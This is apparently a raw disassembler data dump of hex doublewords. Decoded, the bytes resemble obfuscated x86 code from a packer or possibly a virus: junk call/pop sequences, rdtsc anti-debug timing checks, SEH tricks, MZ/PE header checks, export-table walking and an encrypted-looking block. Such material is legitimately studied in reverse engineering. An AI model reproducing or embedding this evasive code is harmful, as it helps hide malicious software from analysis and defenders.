		dd 8589F840h, 62C7B80h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 31C35343h, 55B58958h,	8B062906h, 0FE97870h
		dd 0AC000000h, 3937AAC6h, 14B4655Dh, 0B1220407h, 9D89C7C0h
		dd 6292E39h, 6A1CC683h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0FA1C352h, 0D82h, 95296000h
		dd 629293Dh, 1ECB8166h,	0F896610Ch, 128E0Fh, 0DE90000h
		dd 19000000h, 1F7A743Bh, 0F32BE720h, 0AA4ACC41h, 24247C81h
		dd 10000000h, 0EC870Fh,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 17A04DC3h, 860F6090h
		dd 3, 0FFA8B66h, 387h, 0C38B6600h, 8D0F5061h, 0Ch, 68E0Fh
		dd 8D0F0000h, 0
		dd 119D3190h, 8B062932h, 0F282444h, 181h, 0E990F800h, 8
		dd 204F1C50h, 0E24A9477h, 0F525050h, 684h, 880F00h, 0F000000h
		dd 0F525031h, 82h, 0E9310F00h, 12h, 0BD027DB0h,	2F3949C5h
		dd 0D585E093h, 9007B027h, 585A6DE8h, 6090585Ah,	1A59BD8Bh
		dd 0B9660629h, 8D61FB28h, 2C40D985h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 8C1ADC33h
		dd 0BD89A5D2h, 62928F5h, 0F60D0FFh, 388h, 0C38B6600h, 7D8D8960h
		dd 0FC062924h, 6A966161h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8904C353h, 291A498Dh
		dd 8E9F506h, 3E000000h,	36808BA3h, 3D8131Dh, 60242474h
		dd 10E8h, 1E2A7400h, 45137829h,	0B540719Dh, 0F6F9B438h
		dd 8D895EC2h, 6290949h,	0F9BD8D61h, 6A06292Ah, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 3976C353h, 195894Eh,	31062928h, 2933519Dh, 8060AD06h
		dd 8E94CDBh, 0AC000000h, 0CF86AD9h, 61F8299Eh, 24247C81h
		dd 10000000h, 97870Fh, 95290000h, 6292CCDh, 0E9525050h
		dd 6, 77796646h, 310F8227h, 0F820Fh, 0AE90000h,	0FD000000h
		dd 0C8C66AC7h, 6DA8B807h, 89585A44h, 8D892404h,	6291295h
		dd 2824448Bh, 1B959589h, 0E9500629h, 9,	27A29551h, 5FC3C647h
		dd 240489EBh, 0D9858DF8h, 6A062C40h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 89F2C356h
		dd 29074585h, 0D78B6006h, 0F861DA8Ah, 8B0FD0FFh, 1, 6870FF9h
		dd 89000000h, 292BD19Dh, 24440306h, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 89606A37h
		dd 292A4D8Dh, 0ABFC6106h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 41C35141h, 9F03D4EDh,	800FAB00h, 0Fh
		dd 0AE9h, 4DFA0D00h, 63873B82h,	141C505h, 29079D8Dh, 0FA8106h
		dd 0F000100h, 8E682h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 6D7434EEh, 0A80CA298h
		dd 0EE9D1h, 66C90000h, 1F500C4Ah, 0F162DFA6h, 14099169h
		dd 1049BD8Dh, 6A0629h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0B42610C3h, 606020DFh, 8A0Fh, 7E90000h
		dd 80000000h, 0F3F9B17h, 8961D5F5h, 29311195h, 60AD6106h
		dd 9589D38Bh, 6290565h,	247C8161h, 24h,	31870F10h, 60000001h
		dd 1879BD23h, 0D4BA0629h, 616F659Ch, 6810Fh, 85890000h
		dd 6292C4Dh, 0E9525050h, 0Bh, 48EE7AFDh, 98AD656Ch, 0F71B3E2h
		dd 12E931h, 9F80000h, 2FB9C6DDh, 0D52D213h, 99FB4ED1h
		dd 0B4E1BDC6h, 489585Ah, 11E924h, 0EB610000h, 0D357D0h
		dd 7A594E5Fh, 0D3C22402h, 0E90018DDh, 0Ah, 1BC91456h, 893D104Bh
		dd 448B29BAh, 6A2824h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0CAEC4DC3h, 525050FCh, 860F60h
		dd 61000000h, 5250310Fh, 310F5250h, 310F585Ah, 830Fh, 585A0000h
		dd 489585Ah, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 7C064C87h, 53BFF180h, 0DE9601Bh
		dd 0C4000000h, 2AB86936h, 0E652F57Ah, 3C84E733h, 0D118D01h
		dd 89610629h, 292B798Dh, 0D9858D06h, 6A062C40h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 6292C355h, 60D49D66h, 1088BA66h, 61C28B66h, 5060D0FFh
		dd 615E6160h, 24244403h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 19h, 91C35141h, 0A38A6689h, 98D8977h, 2906290Fh
		dd 2907D195h, 9E99006h,	67000000h, 0B4F9129Eh, 410F4B08h
		dd 14E96050h, 20000000h, 0F1A71D7h, 2AA38FA6h, 2DCAEB33h
		dd 0F8069085h, 6173D3B8h, 11E990h, 0F1800000h, 51B53BFh
		dd 0DB6D34Dh, 466F976Dh, 0AB9556F4h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 7C35242h, 31021DDFh, 290FD5BDh
		dd 81BD8D06h, 6A062933h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 1507C357h, 11CDC0F7h
		dd 0A6BDFDBBh, 9D31ADF9h, 629210Dh, 28247C81h, 10000000h
		dd 0F8870Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 0D0494AC3h, 9067AE5h, 292E39B5h
		dd 0FE99006h, 8B000000h, 0A9E54939h, 68F598E6h,	0F51A17C9h
		dd 6050E8F2h, 4860Fh, 0B8660000h, 0BE66065Fh, 9061CCA9h
		dd 0E851006Ah, 3, 59C35920h
		db 89h,	4Ch
word_580046	dw 424h			; DATA XREF: ___:off_432874o
					; ___:0043287Co ...
		dd 4244481h, 1Bh, 0D1C35141h, 7B0625C6h, 60855963h, 6EF68166h
		dd 5820FDAh, 66000000h,	3F8D181h, 24448B61h, 53006A2Ch
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0DC005AA3h, 1B4D5D51h, 56D9589h, 0E9500629h,	0Ch, 0B5D03910h
		dd 0AB969D48h, 0CFCC3466h, 0F8240489h, 40D9858Dh, 6A062Ch
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0C17A5EC3h, 7E9D0FFh, 6A000000h, 71941453h, 440370B9h
		dd 6A2824h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 3DE09BC3h, 269F39D9h, 820F4869h, 14h, 7813B960h
		dd 7E84454h, 0F7000000h, 4981FF87h, 615ADC1Dh, 18C0FABh
		dd 0F9000000h, 329DB529h, 0FF5E0629h, 2C7B808Dh, 80BD8306h
		dd 62C7Bh, 0C0330A75h, 8B6DB58Dh, 0E6FF062Ch, 7C81AD56h
		dd 2824h, 0E771000h, 24448B50h,	858D502Ch, 62C40D9h, 4403D0FFh
		dd 8B972824h, 7C858ADFh, 84062C7Bh, 3A0474C0h, 574C7507h
		dd 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h
		dd 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h
		dd 81665041h, 0FE5449F3h, 33EB75CEh, 4FD333C8h,	0D2F7D575h
		dd 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h,	0FF04C683h
		dd 2915E985h, 0FF5DE906h, 6A5EFFFFh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 741CC357h
		dd 0C810Fh, 850F0000h, 6, 820Fh, 8C0F0000h, 6, 0E019D89h
		dd 0B5310629h, 6290DD9h, 15E9858Bh, 6A0629h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0BE0DC1C3h
		dd 820F6024h, 6, 2DB58D01h, 0D1610629h,	57006AE0h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 0F603F0Fh, 68Bh, 698D8900h, 6006290Ah, 1F0B70Fh, 29049185h
		dd 89616106h, 292D09B5h, 81850306h, 6A062933h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0E38FC350h, 0DD9D89C3h, 0E9062923h, 0Eh, 1B38D2D1h
		dd 0FAD22B88h, 67FB1CBCh, 0F62B312Fh, 0DDB50960h, 8B062913h
		dd 291A2D9Dh, 89966106h, 291F3185h, 6AAD6606h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 3ECDC351h, 0C521D995h, 0FC02E0C1h, 0D9852960h, 8B06290Eh
		dd 2933ADB5h, 85036106h, 6292AF9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 2DC35545h, 0B5093CEBh, 6290CFDh
		dd 57006A96h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0C56F2C92h, 0FB32A23h, 187h, 31ADF800h
		dd 29124195h, 0D2816006h, 28775996h, 2DD19D89h,	81610629h
		dd 24247Ch, 0F100000h, 19D87h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 8947AEF8h
		dd 29011985h, 52509006h, 10E9h,	0E4924200h, 0BD38D464h
		dd 956493F3h, 0EBDC32C7h, 50310F4Dh, 0F525052h,	0F585A31h
		dd 9E931h, 0CC970000h, 85374640h, 5A8C1652h, 50585A58h
		dd 53BE6660h, 0F5250D6h, 5A616031h, 6A906158h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 1BDC351h, 0F54F974Dh, 2D953115h, 8B062930h, 0F282444h
		dd 1088h, 0BE900h, 8D080000h, 46032DB0h, 0E3D7C2C0h, 525090CBh
		dd 9E9h, 0EC4FB800h, 0A98C07CCh, 310F0FDFh, 0D6BE6660h
		dd 0F525051h, 61585A31h, 0E950585Ah, 14h, 0D69E835Eh, 93476ADEh
		dd 838EB0D8h, 5579A4CEh, 9A7ED92h, 51006A90h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0CC40E09h
		dd 5E9h, 0DCB5FC00h, 858DE4F4h,	62C40D9h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 0C2C35141h, 5C3CFBC3h
		dd 75569483h, 2E519589h, 60600629h, 31C1B58Bh, 8B660629h
		dd 8D8961F1h, 6290FF9h,	6AD0FF61h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 7FF7C355h
		dd 0F1FF1E0h, 0C88h, 6840F00h, 89000000h, 290EA995h, 8E0F6006h
		dd 5, 3D38166h,	0E9815313h, 3D5E69D6h, 44036158h, 820F2424h
		dd 0Dh,	8E9h, 0A1F54300h, 0A84CD19Bh, 24448911h, 52006A1Ch
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0DE004CC9h, 2AFD9589h, 0BD290629h, 6292A21h,	1B5985C6h
		dd 0C7000629h, 2C7C9885h, 6, 8485C700h,	62C7Bh,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 8595C350h, 0E989CD48h, 7,	0F8F2656Bh, 0E9619444h
		dd 12h,	9B85E6CCh, 92A6B875h, 0AA8F3780h, 7D1E96B6h, 6AC650h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0DA8FE7C3h, 0AB8D4503h, 13E921B7h, 6D000000h, 0E65555BAh
		dd 9C57D3FCh, 24E841F7h, 5D12FAB0h, 961E4F0h, 29136D95h
		dd 8C206h, 11E960h, 55470000h, 7E2FAE50h, 6FD73EFFh, 56D3ED06h
		dd 0F805EEAh, 589h, 0C8816600h,	8B61AAECh, 292AF985h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0F707DDD0h, 2C958589h, 89600629h, 292DCD95h,	0DD9D8B06h
		dd 6106292Fh, 55006A4Ah, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 696636ABh, 0E9C9B988h, 0Eh, 0C36ED572h
		dd 0C11ED247h, 0E0B1C2E2h, 0D26BE4F3h, 51006A04h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 5879F1D2h, 0FE9F7h, 0A91C0000h, 95FA85CFh, 0B669BC3Dh
		dd 0E2AEAD4Bh, 6AC20379h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 23A2C357h, 5EF55E99h
		dd 1820FF5h, 0F8000000h, 5950196h, 0AD062907h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0E4C35040h, 18D0FDDh
		dd 0F9000000h, 2C39BD09h, 7C810629h, 2424h, 870F1000h
		dd 13Ah, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	5C35747h, 78152E57h, 5DD2EEFh, 0F90F59Fh, 0C8Ch
		dd 6860F00h, 50000000h,	5A310F52h, 0F605058h, 685h, 8C0F00h
		dd 60000000h, 310F5250h, 5250585Ah, 585A310Fh, 6A906161h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 4B41C355h, 448BFC36h, 6A2824h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0D2EF4CC3h
		dd 7CD9D09h, 0B5890629h, 6290719h, 0F525090h, 68Dh, 0F525000h
		dd 0F585A31h, 0F525031h, 89h, 0F310F00h, 8Ah, 5A585A00h
		dd 8E95058h, 0C4000000h, 7E4609A3h, 90F1B4B0h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0C7C35646h, 0EB65BA1Dh
		dd 9589B334h, 6291811h,	40D9858Dh
		dd 8D29062Ch, 6292DD9h,	6AD0FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 800A2AC3h, 9589F37Fh
		dd 629111Dh, 7318529h, 0A3E90629h, 6AFFFFFCh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 2E8EC350h, 8D28BA4Eh, 4AD57650h, 91B0858Dh, 860F062Ch
		dd 14h,	0DD8D8960h, 0E9062929h,	7, 4570C662h, 613EE4DCh
		dd 0A840F50h, 0E9000000h, 5, 15666A67h,	24048940h, 88D0Fh
		dd 870F0000h, 2, 0FF646160h, 35h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 48B7218h, 0EE924h
		dd 40E0000h, 23B6713Bh,	4ED442CDh, 0B5D37AC0h, 0EF58589h
		dd 6A0629h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 9D8938C3h, 629295Dh, 258964h, 29000000h
		dd 2915FD9Dh, 0E5858D06h, 0E9062C8Fh, 9, 3AC5D42Fh, 84DBC60Fh
		dd 5BD8960h, 89062911h,	5E90160h, 1000000h, 4AD1F1BAh
		dd 228E9h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 9E0871D5h, 8BF58FCDh, 0E8DBh, 815D0000h
		dd 2C8FDEEDh, 0FF9CBC06h, 0BD830012h, 62911FDh,	8B187400h
		dd 29182985h, 0C606h, 94D858Bh,	0C60629h, 0ED95FF00h, 60062923h
		dd 7788B5FFh, 858D062Ch, 62C778Ch, 84858D50h, 50062C79h
		dd 1EED95FFh, 0C4830629h, 8E0F610Ch, 0Bh, 0AEC88060h, 8A9BD01h
		dd 6A610629h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 546BC355h, 5E23D927h, 3CA6AADFh
		dd 8399D89h, 85890629h,	6290EB1h, 7984B58Dh, 6A062Ch, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 59307BC3h, 0D5DDBE84h, 13E9EFh, 12050000h, 7A59F0Eh
		dd 0F77213CFh, 2AFD9647h, 0E1A6190Dh, 0BD8DF54Fh, 6291BBDh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0BEC35343h
		dd 6643FE4Dh, 3E80FCh, 55840Fh,	13E90000h, 7A000000h, 6259A6C1h
		dd 727DE0DBh, 452EC731h, 31E6C08Ah, 6AA4CC13h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 5603C353h, 0CFD3B4DAh, 8794328Fh, 0B2A5B060h, 85296155h
		dd 6293365h, 0FFFFA8E9h, 0D5BD31FFh, 2B06290Fh,	12E9C0h
		dd 0A1860000h, 13ED4646h, 4EAFC768h, 0AD3BE069h, 0BD22589Eh
		dd 7B8F9AAh, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0C052C351h,	85C79E5Eh
		dd 62904E9h, 1,	20298D09h, 8D8D0629h, 6294D6Bh,	14298529h
		dd 0E1FF0629h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	74C35343h, 0F5C1142Eh, 0C245C8Bh, 0E855h, 815D0000h
		dd 2C91BAEDh, 0B8838B06h, 89000000h, 2C778885h,	0D7858D06h
		dd 89062C8Fh, 0B883h, 0C0335D00h, 0CF8B60C3h, 5E8h, 0AB588D00h
		dd 0B70FA450h, 6A6159DBh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0FC7FC356h,	0C9B53160h
		dd 8D062914h, 2C943E85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 48294E6Fh, 0B11364C1h
		dd 0B8606047h, 3F411205h, 0B8DF8160h, 8930A6DAh, 2918B99Dh
		dd 90616106h, 0CF8B6660h, 736DBB66h, 52505061h,	11E9h
		dd 6F61A800h, 2AA481E0h, 9C2BB22Eh, 2DA2EB8Bh, 310FDE2Dh
		dd 820F5250h, 0
		dd 5250310Fh, 585A310Fh, 585A585Ah, 85B52990h, 6406292Ah
		dd 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 8DA20BC3h, 49311CD2h, 8A0F0CEDh
		dd 8, 28D0Fh, 61600000h, 258964h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0D101C357h, 94B6858Dh, 6A062Ch, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0E4EFAC3h, 217E9903h
		dd 7E9h, 0E9463A00h, 85D1327Ah,	6A016089h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 1E0BC353h
		dd 0B96660D8h, 0C66100FBh, 291B5985h, 6A4F06h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 185B11C3h, 83DA0F1Eh, 0E9B9DD3Ah, 0Eh, 7BB38C31h, 236C5E9Eh
		dd 5A4ADC03h, 0A3687541h, 60F61C9Dh, 13870Fh, 0EE90000h
		dd 0A3000000h, 4CBEE58Ch, 0BA17698Fh, 2C1F16B7h, 21BF668Ah
		dd 4816147h, 0ABD68724h, 0FE86008h, 0F2000000h,	0A7F4DD17h
		dd 0CD27C866h, 8AFFAA1Eh, 8B667C92h, 10E858DFh,	42000000h
		dd 0CD35D1C2h, 80B6BCB4h, 0DEA8B36Bh, 0FB84584h, 85h, 0FF615B00h
		dd 291A99B5h, 9DBD8906h, 8D06292Ch, 2C7BD285h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0AC1F646h, 10E9D0FFh, 4E000000h, 806F812Dh, 4BDC922Ah
		dd 78F75D43h, 0E9CC3621h, 7Eh, 1B8DB501h, 5C8B0629h, 0E8550C24h
		dd 0
		dd 48ED815Dh, 8B062C94h, 29263985h, 99858906h, 8B06291Ah
		dd 29187585h, 95858906h, 8B062911h, 29305185h, 59858906h
		dd 0C6062935h, 291B5985h, 85C70006h, 62C7C98h, 0
		dd 94B6858Dh, 8389062Ch, 0B8h, 0C3C0335Dh, 27D5BD89h, 0E8600629h
		dd 5, 13DFDD18h, 0C1B70F82h, 6830F58h, 0F000000h, 8Fh
		dd 74BC6100h, 6A0012FFh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 3F37C357h, 91BF3F0Bh
		dd 0EE987h, 52A90000h, 0A05B7932h, 79DF8355h, 0F31EF40Eh
		dd 58F64h, 0E9000000h, 9, 0C318E629h, 0CDFCE8C9h, 4C48395h
		dd 9E9h, 0D4906300h, 0C5AB4B84h, 0E8619797h, 13h, 1D1370E4h
		dd 37BBA32Eh, 78A57660h, 473E6F9Fh, 29D27B67h, 29179585h
		dd 8B665A06h, 0EC281DEh, 81000059h, 0F3874CD6h,	0BF65h
		dd 0B58B0000h, 6292E41h, 8B1734FFh, 290C8DB5h, 95015906h
		dd 62930CDh, 0CD03E981h, 0B7BE717Dh, 81032470h,	6F6200E9h
		dd 0C181FC0Bh, 27EF162Fh, 0A7FCC381h, 0C890163h, 0B59D8B3Ah
		dd 8106290Ch, 0E8E62FEFh, 81E58A03h, 0E8E62BC7h, 0F0B70F03h
		dd 0A784FF81h, 850FFFFFh, 0FFFFFFACh, 7E8h, 478CA500h
		dd 2FAE5055h, 83E95EF9h, 53000000h, 57565251h, 1C245C8Bh
		dd 4D3B8166h, 68850F5Ah, 0F000000h, 33C43B7h, 3B8166D8h
		dd 850F4550h, 57h, 3785B8Bh, 8B1C245Ch,	74032473h, 8B561C24h
		dd 738B207Bh, 247C031Ch, 24740320h, 0C983FC20h,	5C8B41FFh
		dd 178B1C24h, 20245403h, 8A04C783h, 74C08402h, 75033A08h
		dd 0EB4243E8h, 75033AF2h, 0E1D15FE0h, 0F04B70Fh, 386048Bh
		dd 5F1C2444h, 5B595A5Eh, 330008C2h, 0FFF1E9C0h,	0CA8BFFFFh
		dd 148E9h, 5000h, 5400h, 5800h,	5C00h, 6000h, 6400h, 6800h
		dd 6C00h, 0B000h, 0B400h, 0B800h, 0BC00h, 0C000h, 0C400h
		dd 0C800h, 0CC00h, 0D000h, 0D400h, 0D800h, 0DC00h, 0E000h
		dd 0E400h, 0E800h, 0EC00h, 38h dup(0)
		dd 58107100h, 0A150EB00h, 41858D00h, 29062C96h,	290E4D8Dh
		dd 81858906h, 31062C97h, 290F019Dh, 5985C606h, 5406291Bh
		dd 5860Fh, 0D8BA0000h, 681336DAh, 0A5470A17h, 228EBF66h
		dd 3E243481h, 0FF4B2562h, 291A99B5h, 8E0F5206h,	6, 830Fh
		dd 8D5B0000h, 2C7BD285h, 0DA8B6606h, 8D8BD0FFh,	6290699h
		dd 97858589h, 8D33062Ch, 629055Dh, 6840Fh, 0BD290000h
		dd 6290729h, 42E9h, 0D78B6600h,	81B58B56h, 89062C97h, 81858306h
		dd 4062C97h, 8D60C35Eh,	2C9641B5h, 560FEB06h, 36FF006Ah
		dd 978595FFh, 835E062Ch, 3E8304C6h, 61EC7500h, 7E9C3h
		dd 1C400000h, 0F7A30A5Fh, 8DF98B6Eh, 2C981A85h,	0BDB52306h
		dd 2906291Eh, 29116D8Dh, 99858906h, 0E906292Dh,	26h, 499A7DBh
		dd 8 dup(0)
		dd 86E90000h, 4B000005h, 19FF7F8Ch, 0E40230C1h,	0AE488A01h
		dd 749240B3h, 8BDB1B96h, 0A12C824Fh, 7CF14BADh,	34BF18FEh
		dd 8D04E006h, 9E84ED49h, 7A40571Dh, 0C442E984h,	0BF11E960h
		dd 0E654D9h, 0FB5D2DA4h, 7ADCAA23h, 855B2FDEh, 6D8AE23h
		dd 0EB5D2DA0h, 0F31DB175h, 0E46FCEAAh, 9BAC7290h, 3F614AC3h
		dd 0F1EA765Fh, 0C50157ADh, 13C34823h, 92E5117Ah, 7F806C3Fh
		dd 0F2B43D99h, 8C62B691h, 725BA02Bh, 6C3FB304h,	27751E80h
		dd 961BFD53h, 0AB73E5D0h, 884AC19Ah, 0A3078E6Eh, 6C3FEF4Fh
		dd 80A6B480h, 78A68C8h,	319460A3h, 0A7495EBAh, 437ADD96h
		dd 70h,	0E960C4E8h, 9EF3011h, 34026ABh,	6CEEA417h, 36020D80h
		dd 6CEE87F2h, 16080E80h, 0FD70D6A2h, 0ADF2C60Dh, 7ADCE743h
		dd 1FFh, 1CC47400h, 9FBB1DEDh, 4749986Eh, 7B1A51AFh, 2D83E9CDh
		dd 0E163C734h, 66F2D34Bh, 0E541A797h, 3C8A07E1h, 27888ED7h
		dd 92806C5Ch, 0DDB4A681h, 0C04B2CF4h, 8AED2D66h, 0F806C5Bh
		dd 0D4620ADh, 0E7684CD7h, 1FEB66C4h, 2452A1B9h,	806CEED3h
		dd 0F26EE546h, 9BE046A1h, 0FA5869BDh, 4521C777h, 0B411E7CCh
		dd 0EE76F93Dh, 3063806Ch, 21AA03E9h, 0C4A167CBh, 4025FB4Fh
		dd 6B9A46h, 8D04E0A6h, 0A902D63Dh, 2C824422h, 2DF187A1h
		dd 3CE26699h, 0DCE54ABAh, 7FE07Ah, 0C44D0000h, 361FEB66h
		dd 0A6008B62h, 0EEC82B6Fh, 6E31806Ch, 0FA533107h, 0FD9B8971h
		dd 37BA1829h, 8E03E107h, 0AF3C7BA5h, 0C4AF168Fh, 934E00F0h
		dd 0F7958660h, 0E0B0992Fh, 0EB388E05h, 6CBF4CAFh, 8EEAB580h
		dd 0DD156799h, 65837Ah,	614A0000h, 6CB4C235h, 10642F80h
		dd 0EB66C4DFh, 8962361Fh, 66FA402h, 6CEE9F10h, 33190A80h
		dd 8971FA5Dh, 243DB7Dh,	0D4C421ACh, 0CD8661C1h,	1C5132Bh
		dd 0ED1CC48Ah, 0EE99191Dh, 0FC1A806Ch, 16C2962Ah, 331A916Ah
		dd 0E72EB6E5h, 2C5C7ADCh, 2E03657h, 0DB50358Bh,	0FCB18CF0h
		dd 2886CA86h, 179CCh, 0C4F20000h, 351CEA61h, 945729CBh
		dd 0DEB8A90Fh, 0F9046132h, 9B795FA6h, 81FC4AC3h, 0A80B0F50h
		dd 11806C8Ch, 5AD1AA0Eh, 7D46D87Eh, 0ECD63698h,	9C8FE016h
		dd 297A806Ch, 0A8CE7DEBh, 1B57FDF0h, 0E9301BC2h, 0A9128765h
		dd 0BC3F7B4Ch, 25806C90h, 0B63D9E7Ah, 684593F0h, 58A9B107h
		dd 90DE3C7Ch, 9E817A45h, 1F967628h, 0D45D39DFh,	81653312h
		dd 755BE08h, 9590B603h,	0AF77C986h, 26323696h, 0E93013D7h
		dd 9EAA9C8Ch, 861BF375h, 7147AE25h, 32BB13F5h, 0B13A9274h
		dd 9571F245h, 6DB4DF86h, 54CA8E9Dh, 0C9129B73h,	3602F36Fh
		dd 647F6136h, 7EBB74B4h, 0B0000001h, 89D259C0h,	22A378A0h
		dd 0C809A2ECh, 47E6ACECh, 46C97A45h, 0C74E2EE0h, 0AD31B2FEh
		dd 1100C302h, 1E5033Bh,	5C5AA388h, 869528DBh, 970BE16h
		dd 0A2BEAF8Ch, 0CA431BF1h, 0E2CB1AEEh, 953F43B4h, 97E5AE86h
		dd 0F7DC5531h, 0E4404621h, 0FD39026Dh, 86953E7Ah, 68D83C67h
		dd 0E0E14503h, 0BAFBA804h, 81307B24h, 20FB5DA6h, 0A0F4DFABh
		dd 91F1F3A4h, 0C79174B4h, 3D88EC61h, 71h, 26D50CD4h, 52C011D2h
		dd 0C98A88D5h, 7B19C71h, 0EE77F83Eh, 0BC62006Ch, 2D0B52D9h
		dd 4B9A6C37h, 0EEC33462h, 0E1FE006Ch, 445A528Bh, 0BBA674E8h
		dd 4A95FE48h, 0F6C92A6Eh, 0BA58006Bh, 0CD14EC64h, 78A4F23Eh
		dd 91B70917h, 0F431E1BBh, 18F246AFh, 90434795h,	39319BC8h
		dd 0A48DE456h, 29C1DE74h, 0F83E984Ch, 806C2E77h, 0F4DB3162h
		dd 91h,	0D259C07Dh, 0DFFD8D89h,	0B1E27A45h, 3CB717C9h
		dd 960075C6h, 0E8335C86h, 0D81D036Ah, 8422FB7h,	563694E0h
		dd 5D176BDFh, 0D8869642h, 0C1326049h, 28869643h, 2BF31167h
		dd 0BCB421Ah, 0A28B30E9h, 72AC2374h, 65C54E80h,	0DD2EFC2Ch
		dd 1809F279h, 52FE5E3Ch, 73CC62Bh, 7CCA15A1h, 0A36DC39Ah
		dd 0E901EED8h, 24FA4C97h, 7DCD3Ch, 5F3D0618h, 0D43F14D2h
		dd 35614A9Bh, 8CC2A3C2h, 0F210642Fh, 317A1F2Ch,	0C6DAED4h
